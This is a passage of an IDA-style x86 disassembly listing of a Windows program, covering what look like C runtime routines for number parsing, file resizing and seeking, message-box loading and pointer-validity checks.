					; sub_4260B2+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_433CD8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_425F2E
		add	esp, 0Ch
		retn
sub_426086	endp


; =============== S U B	R O U T	I N E =======================================



sub_42609C	proc near		; CODE XREF: sub_4260EF+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_433CF0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_425F2E
		add	esp, 0Ch
		retn
sub_42609C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260B2	proc near		; CODE XREF: sub_4239DB+12p

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42612C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426086
		mov	ecx, [ebp+var_4]
		add	esp, 24h
		call	sub_41E5BB
		leave
		retn
sub_4260B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260EF	proc near		; CODE XREF: sub_4239DB+2Dp

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42612C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42609C
		mov	ecx, [ebp+var_4]
		add	esp, 24h
		call	sub_41E5BB
		leave
		retn
sub_4260EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42612C	proc near		; CODE XREF: sub_421710+24p
					; sub_4260B2+1Fp ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_19		= byte ptr -19h
var_14		= dword	ptr -14h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_8]
		lea	esi, [ebp+var_30]
		mov	[ebp+var_34], esi
		mov	[ebp+var_50], eax
		mov	[ebp+var_4C], 1
		mov	[ebp+var_38], eax
		mov	[ebp+var_44], eax
		mov	[ebp+var_58], eax
		mov	[ebp+var_5C], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_40], edi

loc_42616A:				; CODE XREF: sub_42612C+55j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_426180
		cmp	cl, 9
		jz	short loc_426180
		cmp	cl, 0Ah
		jz	short loc_426180
		cmp	cl, 0Dh
		jnz	short loc_426183

loc_426180:				; CODE XREF: sub_42612C+43j
					; sub_42612C+48j ...
		inc	edi
		jmp	short loc_42616A
; ---------------------------------------------------------------------------

loc_426183:				; CODE XREF: sub_42612C+52j
					; sub_42612C+B2j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_426402	; default
					; jumptable 0042618F case 10
		jmp	ds:off_426530[eax*4] ; switch jump

loc_426196:				; DATA XREF: .text:off_426530o
		cmp	bl, 31h		; jumptable 0042618F case 0
		jl	short loc_4261A7
		cmp	bl, 39h
		jg	short loc_4261A7

loc_4261A0:				; CODE XREF: sub_42612C+CBj
					; sub_42612C+126j
		push	3
		jmp	loc_4263C1
; ---------------------------------------------------------------------------

loc_4261A7:				; CODE XREF: sub_42612C+6Dj
					; sub_42612C+72j
		cmp	bl, ds:byte_433AA4
		jnz	short loc_4261B6

loc_4261AF:				; CODE XREF: sub_42612C+132j
		push	5
		jmp	loc_4263F8
; ---------------------------------------------------------------------------

loc_4261B6:				; CODE XREF: sub_42612C+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4261E0
		dec	eax
		dec	eax
		jz	short loc_4261D4
		sub	eax, 3
		jz	loc_42626D
		mov	[ebp+var_34], esi
		dec	edi
		jmp	loc_42637F
; ---------------------------------------------------------------------------

loc_4261D4:				; CODE XREF: sub_42612C+94j
		push	2
		pop	eax
		mov	[ebp+var_50], 8000h
		jmp	short loc_426183
; ---------------------------------------------------------------------------

loc_4261E0:				; CODE XREF: sub_42612C+90j
		and	[ebp+var_50], 0
		push	2
		pop	eax
		jmp	short loc_426183
; ---------------------------------------------------------------------------

loc_4261E9:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		xor	eax, eax	; jumptable 0042618F case 1
		inc	eax
		cmp	bl, 31h
		mov	[ebp+var_44], eax
		jl	short loc_4261F9
		cmp	bl, 39h
		jle	short loc_4261A0

loc_4261F9:				; CODE XREF: sub_42612C+C6j
		cmp	bl, ds:byte_433AA4
		jnz	short loc_426208

loc_426201:				; CODE XREF: sub_42612C+17Fj
		push	4
		jmp	loc_4263F8
; ---------------------------------------------------------------------------

loc_426208:				; CODE XREF: sub_42612C+D3j
		cmp	bl, 2Bh
		jz	short loc_426242
		cmp	bl, 2Dh
		jz	short loc_426242
		cmp	bl, 30h
		jz	loc_426183

loc_42621B:				; CODE XREF: sub_42612C+1D7j
		cmp	bl, 43h
		jle	loc_42637B
		cmp	bl, 45h
		jle	short loc_42623B
		cmp	bl, 63h
		jle	loc_42637B
		cmp	bl, 65h
		jg	loc_42637B

loc_42623B:				; CODE XREF: sub_42612C+FBj
		push	6
		jmp	loc_4263F8
; ---------------------------------------------------------------------------

loc_426242:				; CODE XREF: sub_42612C+DFj
					; sub_42612C+E4j ...
		dec	edi
		push	0Bh
		jmp	loc_4263F8
; ---------------------------------------------------------------------------

loc_42624A:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		cmp	bl, 31h		; jumptable 0042618F case 2
		jl	short loc_426258
		cmp	bl, 39h
		jle	loc_4261A0

loc_426258:				; CODE XREF: sub_42612C+121j
		cmp	bl, ds:byte_433AA4
		jz	loc_4261AF
		cmp	bl, 30h
		jnz	loc_4263CD

loc_42626D:				; CODE XREF: sub_42612C+99j
		xor	eax, eax
		inc	eax
		jmp	loc_426183
; ---------------------------------------------------------------------------

loc_426275:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		mov	[ebp+var_44], 1	; jumptable 0042618F case 3
		jmp	short loc_426295
; ---------------------------------------------------------------------------

loc_42627E:				; CODE XREF: sub_42612C+175j
		cmp	[ebp+var_38], 19h
		jnb	short loc_42628F
		inc	[ebp+var_38]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		jmp	short loc_426292
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_42612C+156j
		inc	[ebp+var_3C]

loc_426292:				; CODE XREF: sub_42612C+161j
		mov	bl, [edi]
		inc	edi

loc_426295:				; CODE XREF: sub_42612C+150j
		movzx	eax, bl
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	short loc_42627E
		cmp	bl, ds:byte_433AA4
		jnz	short loc_4262F1
		jmp	loc_426201
; ---------------------------------------------------------------------------

loc_4262B0:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		xor	eax, eax	; jumptable 0042618F case 4
		inc	eax
		cmp	[ebp+var_38], 0
		mov	[ebp+var_44], eax
		mov	[ebp+var_58], eax
		jnz	short loc_4262E3
		jmp	short loc_4262C7
; ---------------------------------------------------------------------------

loc_4262C1:				; CODE XREF: sub_42612C+19Ej
		dec	[ebp+var_3C]
		mov	bl, [edi]
		inc	edi

loc_4262C7:				; CODE XREF: sub_42612C+193j
		cmp	bl, 30h
		jz	short loc_4262C1
		jmp	short loc_4262E3
; ---------------------------------------------------------------------------

loc_4262CE:				; CODE XREF: sub_42612C+1C3j
		cmp	[ebp+var_38], 19h
		jnb	short loc_4262E0
		inc	[ebp+var_38]
		sub	bl, 30h
		mov	[esi], bl
		inc	esi
		dec	[ebp+var_3C]

loc_4262E0:				; CODE XREF: sub_42612C+1A6j
		mov	bl, [edi]
		inc	edi

loc_4262E3:				; CODE XREF: sub_42612C+191j
					; sub_42612C+1A0j
		movzx	eax, bl
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	short loc_4262CE

loc_4262F1:				; CODE XREF: sub_42612C+17Dj
		cmp	bl, 2Bh
		jz	loc_426242
		cmp	bl, 2Dh
		jz	loc_426242
		jmp	loc_42621B
; ---------------------------------------------------------------------------

loc_426308:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		movzx	eax, bl		; jumptable 0042618F case 5
		push	eax
		mov	[ebp+var_58], 1
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jz	loc_4263CD
		push	4
		jmp	loc_4263C1
; ---------------------------------------------------------------------------

loc_426328:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		cmp	bl, 31h		; jumptable 0042618F case 6
		lea	ecx, [edi-2]
		mov	[ebp+var_40], ecx
		jl	short loc_42633C
		cmp	bl, 39h
		jle	loc_4263BF

loc_42633C:				; CODE XREF: sub_42612C+205j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	loc_4263F6
		dec	eax
		dec	eax
		jz	loc_4263EA
		sub	eax, 3
		jnz	loc_426410

loc_426359:				; CODE XREF: sub_42612C+29Fj
		push	8
		jmp	loc_4263F8
; ---------------------------------------------------------------------------

loc_426360:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		mov	[ebp+var_5C], 1	; jumptable 0042618F case 8
		jmp	short loc_42636C
; ---------------------------------------------------------------------------

loc_426369:				; CODE XREF: sub_42612C+243j
		mov	bl, [edi]
		inc	edi

loc_42636C:				; CODE XREF: sub_42612C+23Bj
		cmp	bl, 30h
		jz	short loc_426369
		cmp	bl, 31h
		jl	short loc_42637B
		cmp	bl, 39h
		jle	short loc_4263BF

loc_42637B:				; CODE XREF: sub_42612C+F2j
					; sub_42612C+100j ...
		dec	edi

loc_42637C:				; CODE XREF: sub_42612C+2A4j
					; sub_42612C+2DFj
		mov	[ebp+var_34], esi

loc_42637F:				; CODE XREF: sub_42612C+A3j
					; sub_42612C+2E9j ...
		cmp	[ebp+var_44], 0
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		jz	loc_4264DE
		push	18h
		pop	eax
		cmp	[ebp+var_38], eax
		jbe	short loc_4263A6
		cmp	[ebp+var_19], 5
		jl	short loc_42639F
		inc	[ebp+var_19]

loc_42639F:				; CODE XREF: sub_42612C+26Ej
		dec	esi
		inc	[ebp+var_3C]
		mov	[ebp+var_38], eax

loc_4263A6:				; CODE XREF: sub_42612C+268j
		cmp	[ebp+var_38], 0
		jbe	loc_426505
		jmp	loc_42647A
; ---------------------------------------------------------------------------

loc_4263B5:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		cmp	bl, 31h		; jumptable 0042618F case 7
		jl	short loc_4263C8
		cmp	bl, 39h
		jg	short loc_4263C8

loc_4263BF:				; CODE XREF: sub_42612C+20Aj
					; sub_42612C+24Dj
		push	9

loc_4263C1:				; CODE XREF: sub_42612C+76j
					; sub_42612C+1F7j
		pop	eax
		dec	edi
		jmp	loc_426183
; ---------------------------------------------------------------------------

loc_4263C8:				; CODE XREF: sub_42612C+28Cj
					; sub_42612C+291j
		cmp	bl, 30h
		jz	short loc_426359

loc_4263CD:				; CODE XREF: sub_42612C+13Bj
					; sub_42612C+1EFj
		mov	edi, [ebp+var_40]
		jmp	short loc_42637C
; ---------------------------------------------------------------------------

loc_4263D2:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		cmp	[ebp+arg_18], 0	; jumptable 0042618F case 11
		jz	short loc_4263FE
		movsx	eax, bl
		sub	eax, 2Bh
		lea	ecx, [edi-1]
		mov	[ebp+var_40], ecx
		jz	short loc_4263F6
		dec	eax
		dec	eax
		jnz	short loc_426410

loc_4263EA:				; CODE XREF: sub_42612C+21Ej
		or	[ebp+var_4C], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_426183
; ---------------------------------------------------------------------------

loc_4263F6:				; CODE XREF: sub_42612C+216j
					; sub_42612C+2B8j
		push	7

loc_4263F8:				; CODE XREF: sub_42612C+85j
					; sub_42612C+D7j ...
		pop	eax
		jmp	loc_426183
; ---------------------------------------------------------------------------

loc_4263FE:				; CODE XREF: sub_42612C+2AAj
		push	0Ah
		pop	eax
		dec	edi

loc_426402:				; CODE XREF: sub_42612C+5Dj
					; sub_42612C+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042618F case 10
		jnz	loc_426183
		jmp	loc_42637C
; ---------------------------------------------------------------------------

loc_426410:				; CODE XREF: sub_42612C+227j
					; sub_42612C+2BCj
		mov	[ebp+var_34], esi
		mov	edi, ecx
		jmp	loc_42637F
; ---------------------------------------------------------------------------

loc_42641A:				; CODE XREF: sub_42612C+63j
					; DATA XREF: .text:off_426530o
		mov	[ebp+var_34], esi ; jumptable 0042618F case 9
		mov	[ebp+var_5C], 1
		xor	esi, esi
		jmp	short loc_42643D
; ---------------------------------------------------------------------------

loc_426428:				; CODE XREF: sub_42612C+31Dj
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42644D
		mov	bl, [edi]
		inc	edi

loc_42643D:				; CODE XREF: sub_42612C+2FAj
		movzx	eax, bl
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	short loc_426428
		jmp	short loc_426452
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_42612C+30Cj
		mov	esi, 1451h

loc_426452:				; CODE XREF: sub_42612C+31Fj
		mov	[ebp+var_54], esi
		movzx	eax, bl
		jmp	short loc_426460
; ---------------------------------------------------------------------------

loc_42645A:				; CODE XREF: sub_42612C+33Dj
		mov	al, [edi]
		inc	edi
		movzx	eax, al

loc_426460:				; CODE XREF: sub_42612C+32Cj
		push	eax
		call	sub_41D63C
		test	eax, eax
		pop	ecx
		jnz	short loc_42645A
		mov	esi, [ebp+var_34]
		dec	edi
		jmp	loc_42637F
; ---------------------------------------------------------------------------

loc_426474:				; CODE XREF: sub_42612C+352j
		dec	[ebp+var_38]
		inc	[ebp+var_3C]

loc_42647A:				; CODE XREF: sub_42612C+284j
		dec	esi
		cmp	byte ptr [esi],	0
		jz	short loc_426474
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_38]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_426E61
		mov	eax, [ebp+var_54]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_4C], ecx
		jge	short loc_42649F
		neg	eax

loc_42649F:				; CODE XREF: sub_42612C+36Fj
		add	eax, [ebp+var_3C]
		cmp	[ebp+var_5C], ecx
		jnz	short loc_4264AA
		add	eax, [ebp+arg_10]

loc_4264AA:				; CODE XREF: sub_42612C+379j
		cmp	[ebp+var_58], ecx
		jnz	short loc_4264B2
		sub	eax, [ebp+arg_14]

loc_4264B2:				; CODE XREF: sub_42612C+381j
		cmp	eax, 1450h
		jg	short loc_4264E7
		cmp	eax, 0FFFFEBB0h
		jl	short loc_4264FE
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_427171
		mov	edx, [ebp+var_14]
		mov	ebx, [ebp+var_14+2]
		mov	esi, [ebp+var_E]
		mov	eax, [ebp+var_A]
		add	esp, 0Ch
		jmp	short loc_42650D
; ---------------------------------------------------------------------------

loc_4264DE:				; CODE XREF: sub_42612C+25Cj
		mov	[ebp+var_48], 4
		jmp	short loc_426505
; ---------------------------------------------------------------------------

loc_4264E7:				; CODE XREF: sub_42612C+38Bj
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_48], 2
		jmp	short loc_42650D
; ---------------------------------------------------------------------------

loc_4264FE:				; CODE XREF: sub_42612C+392j
		mov	[ebp+var_48], 1

loc_426505:				; CODE XREF: sub_42612C+27Ej
					; sub_42612C+3B9j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx

loc_42650D:				; CODE XREF: sub_42612C+3B0j
					; sub_42612C+3D0j
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_50]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_48]
		mov	[ecx], dx
		mov	ecx, [ebp+var_4]
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_42612C	endp

; ---------------------------------------------------------------------------
off_426530	dd offset loc_426196	; DATA XREF: sub_42612C+63r
		dd offset loc_4261E9	; jump table for switch	statement
		dd offset loc_42624A
		dd offset loc_426275
		dd offset loc_4262B0
		dd offset loc_426308
		dd offset loc_426328
		dd offset loc_4263B5
		dd offset loc_426360
		dd offset loc_42641A
		dd offset loc_426402
		dd offset loc_4263D2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426560	proc near		; CODE XREF: sub_421B9F+2BDp

var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41E090
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		push	1
		xor	esi, esi
		push	esi
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		call	sub_423FFD
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_1008],	eax
		jz	loc_426693
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_423FFD
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_426693
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_426633
		mov	ebx, 1000h
		push	ebx
		lea	eax, [ebp+var_1004]
		push	esi
		push	eax
		call	sub_41C6D0
		push	8000h
		push	[ebp+arg_0]
		call	sub_4271F7
		add	esp, 14h
		mov	[ebp+var_100C],	eax

loc_4265E1:				; CODE XREF: sub_426560+A5j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_4265E9
		mov	eax, edi

loc_4265E9:				; CODE XREF: sub_426560+85j
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+arg_0]
		call	sub_422242
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_426609
		sub	edi, eax
		test	edi, edi
		jg	short loc_4265E1
		jmp	short loc_426621
; ---------------------------------------------------------------------------

loc_426609:				; CODE XREF: sub_426560+9Fj
		call	sub_4200BE
		cmp	dword ptr [eax], 5
		jnz	short loc_42661E
		call	sub_4200B5
		mov	dword ptr [eax], 0Dh

loc_42661E:				; CODE XREF: sub_426560+B1j
		or	esi, 0FFFFFFFFh

loc_426621:				; CODE XREF: sub_426560+A7j
		push	[ebp+var_100C]
		push	[ebp+arg_0]
		call	sub_4271F7
		pop	ecx
		pop	ecx
		jmp	short loc_42667B
; ---------------------------------------------------------------------------

loc_426633:				; CODE XREF: sub_426560+56j
		jge	short loc_42667B
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_423FFD
		push	[ebp+arg_0]
		call	sub_425764
		add	esp, 10h
		push	eax
		call	ds:dword_429100	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_42667B
		call	sub_4200B5
		mov	dword ptr [eax], 0Dh
		call	sub_4200BE
		mov	edi, eax
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		mov	[edi], eax

loc_42667B:				; CODE XREF: sub_426560+D1j
					; sub_426560:loc_426633j ...
		push	0
		push	[ebp+var_1008]
		push	[ebp+arg_0]
		call	sub_423FFD
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_426695
; ---------------------------------------------------------------------------

loc_426693:				; CODE XREF: sub_426560+32j
					; sub_426560+48j
		mov	eax, ebx

loc_426695:				; CODE XREF: sub_426560+131j
		mov	ecx, [ebp+var_4]
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_426560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266A1	proc near		; CODE XREF: sub_422242+65p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_425764
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4266D2
		call	sub_4200B5
		mov	dword ptr [eax], 9
		jmp	short loc_4266FB
; ---------------------------------------------------------------------------

loc_4266D2:				; CODE XREF: sub_4266A1+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:dword_4290FC	; SetFilePointer
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_426701
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_426701
		push	eax
		call	sub_4200C7
		pop	ecx

loc_4266FB:				; CODE XREF: sub_4266A1+2Fj
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_426720
; ---------------------------------------------------------------------------

loc_426701:				; CODE XREF: sub_4266A1+47j
					; sub_4266A1+51j
		mov	eax, esi
		sar	eax, 5
		mov	eax, ds:dword_438460[eax*4]
		and	esi, 1Fh
		lea	ecx, [esi+esi*8]
		lea	eax, [eax+ecx*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]

loc_426720:				; CODE XREF: sub_4266A1+5Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4266A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426724	proc near		; CODE XREF: sub_4224BB+129p
					; sub_423E1A+138p

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4358C8, ebx
		push	esi
		push	edi
		jnz	short loc_4267A4
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4290E4	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4267DF
		mov	esi, ds:dword_4290E0
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	ds:dword_4358C8, eax
		jz	short loc_4267DF
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4358CC, eax
		call	esi	; GetProcAddress
		cmp	ds:dword_43565C, 2
		mov	ds:dword_4358D0, eax
		jnz	short loc_4267A4
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	ds:dword_4358D8, eax
		jz	short loc_4267A4
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi	; GetProcAddress
		mov	ds:dword_4358D4, eax

loc_4267A4:				; CODE XREF: sub_426724+11j
					; sub_426724+60j ...
		mov	eax, ds:dword_4358D4
		test	eax, eax
		jz	short loc_4267E9
		call	eax
		test	eax, eax
		jz	short loc_4267D0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	ds:dword_4358D8
		test	eax, eax
		jz	short loc_4267D0
		test	[ebp+var_8], 1
		jnz	short loc_4267E9

loc_4267D0:				; CODE XREF: sub_426724+8Dj
					; sub_426724+A4j
		cmp	ds:dword_435668, 4
		jb	short loc_4267E3
		or	[ebp+arg_A], 20h
		jmp	short loc_426808
; ---------------------------------------------------------------------------

loc_4267DF:				; CODE XREF: sub_426724+22j
					; sub_426724+3Dj
		xor	eax, eax
		jmp	short loc_426818
; ---------------------------------------------------------------------------

loc_4267E3:				; CODE XREF: sub_426724+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_426808
; ---------------------------------------------------------------------------

loc_4267E9:				; CODE XREF: sub_426724+87j
					; sub_426724+AAj
		mov	eax, ds:dword_4358CC
		test	eax, eax
		jz	short loc_426808
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_426808
		mov	eax, ds:dword_4358D0
		test	eax, eax
		jz	short loc_426808
		push	ebx
		call	eax
		mov	ebx, eax

loc_426808:				; CODE XREF: sub_426724+B9j
					; sub_426724+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_4358C8

loc_426818:				; CODE XREF: sub_426724+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426724	endp


; =============== S U B	R O U T	I N E =======================================



sub_42681D	proc near		; CODE XREF: sub_426850+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_438221[eax], cl
		jnz	short loc_42684C
		cmp	[esp+arg_4], 0
		jz	short loc_426845
		mov	ecx, ds:off_4333E0
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_426847
; ---------------------------------------------------------------------------

loc_426845:				; CODE XREF: sub_42681D+16j
		xor	eax, eax

loc_426847:				; CODE XREF: sub_42681D+26j
		test	eax, eax
		jnz	short loc_42684C
		retn
; ---------------------------------------------------------------------------

loc_42684C:				; CODE XREF: sub_42681D+Fj
					; sub_42681D+2Cj
		xor	eax, eax
		inc	eax
		retn
sub_42681D	endp


; =============== S U B	R O U T	I N E =======================================



sub_426850	proc near		; CODE XREF: sub_42266B+3Fp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42681D
		add	esp, 0Ch
		retn
sub_426850	endp


; =============== S U B	R O U T	I N E =======================================



sub_426861	proc near		; CODE XREF: sub_4232D1+53p
					; sub_4232D1+8Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_4291B4	; IsBadReadPtr
		test	eax, eax
		jz	short loc_426879
		xor	esi, esi

loc_426879:				; CODE XREF: sub_426861+14j
		mov	eax, esi
		pop	esi
		retn
sub_426861	endp


; =============== S U B	R O U T	I N E =======================================



sub_42687D	proc near		; CODE XREF: sub_4232D1+65p
					; sub_4232D1+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		xor	esi, esi
		push	[esp+8+arg_0]
		inc	esi
		call	ds:dword_429184	; IsBadWritePtr
		test	eax, eax
		jz	short loc_426895
		xor	esi, esi

loc_426895:				; CODE XREF: sub_42687D+14j
		mov	eax, esi
		pop	esi
		retn
sub_42687D	endp


; =============== S U B	R O U T	I N E =======================================



sub_426899	proc near		; CODE XREF: sub_4232D1+128p
					; sub_4238CC+35p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		xor	esi, esi
		inc	esi
		call	ds:dword_4291B8	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4268AD
		xor	esi, esi

loc_4268AD:				; CODE XREF: sub_426899+10j
		mov	eax, esi
		pop	esi
		retn
sub_426899	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423818

loc_4268B1:				; CODE XREF: sub_423818:loc_423848j
		push	0Ah
		call	sub_4224BB
		push	16h
		call	sub_427291
		pop	ecx
		pop	ecx
		push	3
		call	sub_41F66F
		int	3		; Trap to Debugger
; END OF FUNCTION CHUNK	FOR sub_423818

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C9	proc near		; CODE XREF: sub_426991+1Ap
